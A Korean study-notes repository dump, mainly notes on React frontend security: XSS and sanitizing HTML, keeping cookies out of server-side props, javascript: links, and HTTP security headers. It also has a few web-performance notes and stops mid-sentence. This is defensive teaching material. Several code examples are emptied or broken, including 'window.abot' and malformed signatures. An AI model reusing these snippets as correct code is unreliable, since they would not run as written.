| 176 | - 적절한 이미지 크기 설정 177 | 178 | 모바일 기기의 등장으로 웹 사이트가 반응형을 추구하게 되었다. 반응형 웹사이트란 사용자 기기의 크기에 따라 콘텐츠를 자연스럽게 노출할 수 있도록 다양한 요소를 콘텐츠의 기기에 의존하게 하는 것이다. 179 | 180 | ```ts 181 | img { 182 | width:100%; 183 | height:auto; 184 | } 185 | ``` 186 | 이 경우 누적 레이아웃 이동이 커지는 결과를 낳는다. 높이를 이미지가 완전히 다운로드 될때까지 알 수 없기 떄문에 이미지의 높이를 높게 잡아놓았다가 이미지가 완전히 로딩 완료 후에 너비만큼 높이를 계산해서 마침내 이미지 크기만큼 자리잡게 된다. 187 | 188 | 이를 해결하기 위해 명시적으로 width,height속성을 지정하거나 사용자 뷰포트 너비으 맞춰 다른 이미지를 제공하고 싶다면 srcset속성을 사용하는 것이 좋다. 189 | 190 | 191 | 무엇보다 뷰포트는 사용자에게 첫번쨰로 웹 페이지에 대한 인상을 주는 중요한 영역이므로 동적 컨텐츠를 신중히 고민해야 한다. 192 | 193 | ## TTFB와 FCP 194 | 195 | 최초 바이트까지의 시간(Time to First Byte)는 브라우저가 웹 페이지의 첫번쨰 바이트를 수신하는데 걸리는 시간을 의미한다. 즉 페이지를 요청했을 때 요청이 완전히 완료되는데 걸리는 시간을 측정한 것이 아니라, 최초로 응답이 오는 바이트까지 얼마나 걸리는지를 측정하는 지표다. 196 | 197 | 이 지표는 600ms이상의 경우 개선이 필요한 것으로 판단된다. 198 | 199 | 이는 서버 사이드 렌더링을 하고 있는 웹에서 주의 깊게 살펴보아야 한다. 이는 일반적인 싱글 페이지 애플리케이션과 달리 서버 사이드 렌더링은 최초 페이지를 만들기 위해 서버에서 어느정도 작업을 수행해야 하기 때문이다. 서버에서 첫번째 HTML을 만들기 위해 해야 하는 작업이 많거나 느릴수록 최초 바이트까지의 시간이 길어지게 된다. 200 | 201 | 이를 개선하려면 다음을 고려해야 한다. 202 | 203 | - 서버 사이드 렌더링의 경우 로직을 최적화 해 페이지를 빨리 준비해야 한다. 204 | - 응답해야 할 서버가 사용자에 가까울수록 응답속도가 빨라진다. 최대한 해당 국적과 가깝게 서버를 위치시킨다. 205 | - 스트리밍 API를 사용하면 시간을 단축할 수 있다. 206 | 207 | FCP(First Contentful Paint)는 페이지가 로드되기 시작한 시점부터 페이지 콘텐츠의 일부가 화면에 렌더링될때까지의 시간을 말한다. 208 | 209 | 즉, 웹에 접속한 순간부터 페이지에 뭐라도 뜨기 시작한 시점까지의 시간을 말한다. 210 | 211 | [FCP와 최적화 관련 글](https://zephyrnet.com/ko/how-to-optimize-first-contentful-paint-fcp-for-a-better-user-experience/) 212 | -------------------------------------------------------------------------------- /[14장] 웹사이트 보안을 위한 리액트와 웹페이지 보안 이슈/주하.md: -------------------------------------------------------------------------------- 1 | [🔗노션 링크](https://selective-scarer-9c2.notion.site/14-1b303674caa24626ad5acbe00f958689?pvs=4) 2 | -------------------------------------------------------------------------------- /[14장] 웹사이트 보안을 위한 리액트와 웹페이지 보안 이슈/효리.md: -------------------------------------------------------------------------------- 1 | 🔗 [노션 링크](https://artistic-roadrunner-94f.notion.site/14-66325d88b0654364901aed2c842c2c73?pvs=4) 2 | -------------------------------------------------------------------------------- /[14장] 웹사이트 보안을 위한 리액트와 웹페이지 보안 이슈/효중.md: -------------------------------------------------------------------------------- 1 | 2 | ![](/images/postImg/webpolicy.jpg) 3 | 4 | 프론트엔드에서 해야 할 일으 많아질수록 프론트엔드 코드의 규모 역시 증가하고, 코드의 규모가 증가한다는 점은 보안 취약점에 노출될 가능성이 커진다는 것을 의미한다. 5 | 6 | 보안이슈는 프레임워크나 라이브러리가 100% 해결해주는 것이 아니기 때문에 개발자 스스로 주의가 필요하다. 7 | 8 | ### XSS 9 | 10 | 크로스 사이트 스크립팅(Cross-site-Scripting,XSS)이란 웹 애플리케이션에서 가장 많이 보이는 취약점 중 하나이다. 웹 사이트 개발자가 아닌 제 3자가 웹 페이지에 악성 스크립트를 삽입해 실행할 수 있는 취약점을 의미한다. 11 | 12 | ![](https://blog.kakaocdn.net/dn/c4rVtG/btqTjEEmYgu/VFlljEoH5rgP6GeD0Rbak0/img.png) 13 | 14 | 이 취약점은 일반적으로 게시판과 같이 글을 입력할 수 있는 사이트에서 발생한다. 15 | 16 | 예를 들어 어떤 사용자가 다음의 글을 올린다. 17 | 18 | ```ts 19 |

    사용자가 글을 작성했습니다.

    20 | 23 | ``` 24 | 25 | 만약 위 글을 방문했을 때 아무런 조치가 없다면 script가 실행되어 window.alert도 함께 실행된다. 이 script가 실행된다면 웹 사이트 개발자가 할 수 있는 모든 작업을 함께 수행할 수 있으며 쿠키를 획득하거나 로그인 정보를 탈취하는 등의 작업을 할 수 있다. 26 | 27 | 그럼 리액트에서 이 XSS 이슈를 어떻게 막을 수 있을까? 28 | 29 | ### dangerouslySetInnerHTML prop 30 | 31 | dangerouslySetInnerHTML은 특정 브라우저 DOM의 innerHTML을 특정 내용으로 교체하는 것이다. 일반적으로 게시판 등과 같이 사용자가 입력한 내용을 브라우저에 표시하는 내용으로 사용된다. 32 | 33 | ```tsx 34 | function App(){ 35 | //결과물은
    First . Second이다
    36 | return
    39 | } 40 | ``` 41 | 42 | danerouslySetInnerHTML은 오직 __html을 키로 갖고 있는 객체만 인수로 받을 수 있으며, 이 인수로 넘겨받은 문자열을 DOM에 표시하는 역할을 한다. 43 | 44 | dangerouslySetInnerHTML과 비슷한 방법으로 DOM에 직접 내용을 삽입하는 방법으로 useRef가 있다. useRef를 사용하면 직접 DOM에 접근할 수 있다. 45 | 46 | ```tsx 47 | const html = `` 48 | 49 | function App(){ 50 | const divRef = useRef(null) 51 | 52 | useEffect(() => { 53 | if(divRef.current){ 54 | divRef.current.innerHTML = html 55 | } 56 | }) 57 | 58 | return
    59 | } 60 | ``` 61 | 62 | ### 리액트에서 XSS 공격을 피해보자. 63 | 64 | 리액트에서 XSS이슈를 피하는 가장 확실한 방법은 제 3자가 삽입할 수 있는 HTML을 안전한 HTML로 한번 치환하는 것이다. 이러한 과정을 새니타이즈 또는 이스케이프라고 하는데, 가장 확실한 방법은 npm에 있는 라이브러를 사용하는 것이다. 65 | 66 | - DOMpurity 67 | - sanitize-html 68 | - js-xss 69 | 70 | sanitize-html을 사용한 예시를 살펴보자. 71 | 72 | ```tsx 73 | import React from 'react'; 74 | import sanitizeHtml from 'sanitize-html'; 75 | 76 | function MyComponent(props) { 77 | // 허용하는 태그와 속성을 정의합니다. 78 | const allowedTags = ['div', 'p', 'span', 'h1', 'h2']; 79 | const allowedAttributes = { 80 | 'a': ['href', 'name', 'target'], 81 | 'img': ['src'] 82 | }; 83 | 84 | // props로 받은 HTML을 새니타이즈합니다. 85 | const sanitizedHtml = sanitizeHtml(props.html, { 86 | allowedTags: allowedTags, 87 | allowedAttributes: allowedAttributes, 88 | }); 89 | 90 | // 새니타이즈된 HTML을 렌더링합니다. 91 | // 이때, React에서 HTML을 직접 렌더링하기 위해선 dangerouslySetInnerHTML을 사용해야 합니다. 92 | return
    ; 93 | } 94 | ``` 95 | 96 | 단순히 콘텐츠를 보여줄 떄 뿐만 아니라 사용자가 콘텐츠를 저장할 때도 한번 이스케이프 과정을 거치는 것이 더 효율적이고 안전하다. 애초에 XSS위험이 있는 콘텐츠를 저장하는 것이 예기치 못한 문제를 발생시킬 수 있고, 한번 이스케이프 하면 그 뒤로 일일이 이스케이프 과정을 안거쳐도 된다. 97 | 98 | 예를 들어 POST요청으로 입력받은 HTML을 클라이언트에서만 이스케이프 과정을 거친다고 해보자. 일반적인 사용에서는 크게 문제가 되지 않지만, 스크립트나 curl 명령어로 POST요청을 날리는 경우 서버에서 이스케이프를 처리하는 것이 훨씬 안전하다. 99 | 100 | 마지막으로 게시판이 웹 사이트에 없더라도 XSS는 충분히 발생할 수 있다. 따라서 개발자는 자신이 작성한 코드가 아닌 query,GET 파라미터 등 모든 코드를 위험한 코드로 간주하고 적절히 처리하는 게 좋다. 101 | 102 | ### getServerSideProps와 서버 컴포넌트를 주의하자 103 | 104 | 서버 사이드 렌더링과 서버 컴포넌트는 성능 이점을 줌과 동시에 서버라는 개발 환경을 프론트엔드 개발자에게 쥐어준 셈이다. 서버에는 일반 사용자에게 노출이 되면 안되는 정보들이 담겨있기 때문에 브라우저에 정보를 쥐어줄 떄 조심해야 한다. 105 | 106 | ```ts 107 | export default function App(({cookie} : {cookie:string})) { 108 | if(!validateCookie(cookie)){ 109 | Router.replace() 110 | return null 111 | } 112 | } 113 | 114 | export const getServerSideProps = async(ctx: GetServerSidePropsContext) => { 115 | const cookie = ctx.req.headers.cookie || '' 116 | 117 | return { 118 | props{ 119 | cookie 120 | } 121 | } 122 | } 123 | ``` 124 | 125 | 위 예제에서는 getServerSideProps로 cookie를 가져온 후 클라이언트 컴포넌트에 제공해 클라이언트에서 쿠키의 유효성에 따라 작업을 진행한다. 이는 보안 관점에서는 좋지 않다. getServerSideProps가 반환하는 props는 모두 사용자의 HTML에 기록되고 보안 위협에 노출되는 값이 된다. 126 | 127 | 또한 getServerSideProps에서 처리할 수 있는 리다이렉트가 클라이언트에서 실행되기 때문에 성능적인 측면에서 문제의 소지가 있다. 따라서 getServerSideProps가 반환하는 props 값은 , 서버 컴포넌트가 반환하는 props는 반드시 필요한 값으로만 철저히 제한되어야 한다. 128 | 129 | ```ts 130 | export default function App({token} : {token : string}) { 131 | const user = JSON.parse(window.abot(token.split('.')[1])) 132 | const userId = user.id 133 | } 134 | 135 | export const getServerSideProps = async(ctx:GetServerSidePropsContext) => { 136 | const cookie = ctx.req.headers.cookie || '' 137 | const token = validateCookie(cookie) 138 | 139 | if(!token){ 140 | return { 141 | redirect: { 142 | destination:'/404', 143 | permanent : false 144 | } 145 | } 146 | } 147 | 148 | return { 149 | props:{ 150 | token 151 | } 152 | } 153 | } 154 | ``` 155 | 156 | ### a 태그의 값에 적절한 제한을 주자. 157 | 158 | 웹 개발 시 a태그의 href로 javascript코드를 넣어둘 수 있다. 이는 주로 a태그의 기본 기능, href로 선언된 URL로 페이지 이동을 막고, onClick 이벤트와 같이 이벤트 핸들러만 작동하기 위한 용도로 주로 사용된다. 159 | 160 | ```ts 161 | function App(){ 162 | function handleClick(){ 163 | 164 | } 165 | return 링크 166 | } 167 | ``` 168 | 이러한 방법은 마크업 관점에서 안티패턴이라고 볼 수 있다. a 태그는 반드시 페이지 이동이 있을 때만 사용하는 것이 좋다. 페이지 이동 없이 이벤트 핸들러만 작동시키고 싶다면 a보다는 button을 사용하는 것이 좋다. 169 | 170 | ### HTTP의 보안 헤더 171 | 172 | HTTP의 보안 헤더란 브라우저가 렌더링하는 내용과 관련된 보안 취약점을 미연에 방지하기 위해 브라우저와 함께 작동하는 헤더를 뜻힌다. 이는 브라우저 보안에 가장 기초적인 부분으로 HTTP 보안 헤더만 효율적으로 사용할 수 있어도 많은 보안 취약점을 방지할 수 있다. 173 | 174 | ![](data:image/png;base64,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) 175 | 176 | HTTP의 strict-transport-security 응답 헤더는 모든 사이트가 HTTPS를 통해 접근해야 하며 만약 HTTP로 접근하는 경우 이런 모든 시도는 HTTPS로 변경하게 된다. 177 | 178 | ```ts 179 | Strict-Transport-Security : max-age=; includeSubDomains 180 | ``` 181 | 182 | expire time설정은 브라우저가 기억해야 하는 시간을 의미하며, 초 단위로 기록된다. 이 기간 내에 HTTP로 사용자가 요청한다 하더라도, 브라우저는 이 시간을 기억하고 있다가 자동으로 HTTPS로 요청하게 된다. 만약 헤더의 시간이 경과하면 HTTPS로 로드를 시도한 다음 응답에 따라 HTTPS로 이동하는 등의 작업을 수행한다. 183 | 184 | 만약 0으로 되어 있다면 헤더가 즉시 만료되고 HTTP로 요청하게 된다. 일반적으로 1년 단위로 허용한다. includeSubDomains가 있을 경우 이런 규칙이 모든 하위 도메인에도 적용된다. 185 | 186 | ### X-XSS-Protection 187 | 188 | 이 기술은 사파리와 구형 브라우저에서만 제공되는 기능이다. 189 | 190 | 이 헤더는 페이지에서 XSS 취약점이 발견되면 페이지 로딩을 중단하는 헤더이다. 만약 HTTP 헤더에 Content-Security-Policy가 있다면 그닥 필요 없지만 Content-Security-Policy를 지원하지 않는 구형 브라우저에서 사용이 가능하다. 그러나 이 헤더를 전적으로 믿어선 안되며, 반드시 페이지 내부에서 XSS 처리를 하는 것이 좋다. 191 | 192 | ```ts 193 | X-XSS-Protection: 0 194 | X-XSS-Protection: 1 195 | X-XSS-Protection: 1; mode = block 196 | X-XSS-Protection: 1; report = 197 | ``` 198 | 199 | - 0은 기본적으로 XSS 필터링을 끈다. 200 | - 1은 기본값으로 XSS 필터링을 키게 된다. 만약 XSS 공격이 페이지 내부에서 감지되면 XSS 코드를 제거한 안전한 페이지를 보여준다. 201 | - 1; mode = block은 1과 유사하지만 코드를 제거하는 것이 아닌, 접근 자체를 막는다. 202 | - 1; report = 은 크로미움 기반 브라우저에서 작동하며 XSS 공격이 감지되면 보고서를 report=로 적혀있는 url로 보낸다. 203 | 204 | 205 | ### X-Frame-Options 206 | 207 | X-Frame-Options은 페이지를 frame,iframe,embed,object 내부에서 렌더링을 허용할지를 나타낼 수 있다. 예를 들어 네이버와 비슷한 주소를 가진 페이지가 있고 이 페이지에서 네이버를 iframe으로 렌더링한다. 사용자는 이 페이지를 진짜 네이버로 오해할 수 있고, 공격자는 이를 활용해 사용자의 개인정보를 탈취할 수 있다. 208 | 209 | X-Frame-Options은 외부에서 자신의 페이지를 위와 같은 방식으로 삽입되는 것을 막아준다. 210 | 211 | ![](https://i.stack.imgur.com/bjM2C.png) 212 | 213 | ```ts 214 | X-Frame-Options : DENY 215 | X-Frame-Options : SAMEORIGIN 216 | ``` 217 | 218 | - DENY : 만약 위와 같은 프레임 관련 코드가 있다면 무조건 막는다. 219 | - SAMEORIGIN : 같은 origin에 대해서만 프레임을 허용한다. 220 | 221 | ### Permissions-Policy 222 | 223 | Permissions-policy는 웹사이트에서 사용할 수 있는 기능과 사용할 수 없는 기능을 명시적으로 선언하는 헤더이다. 다양한 브라우저의 기능이나 API를 선택적으로 활성화하거나 필요에 따라 비활성화 할 수 있다. 224 | (geolocation 등) 225 | 226 | ```ts 227 | # 모든 geolocation 사용을 막는다. 228 | Permissions-Policy : geolocation=() 229 | 230 | # gelolcation을 페이지 자신과 몇 가지 페이지에 대해서만 허용 231 | Permissions-Policy : geolocation=(self `https://~`) 232 | 233 | # 카메라는 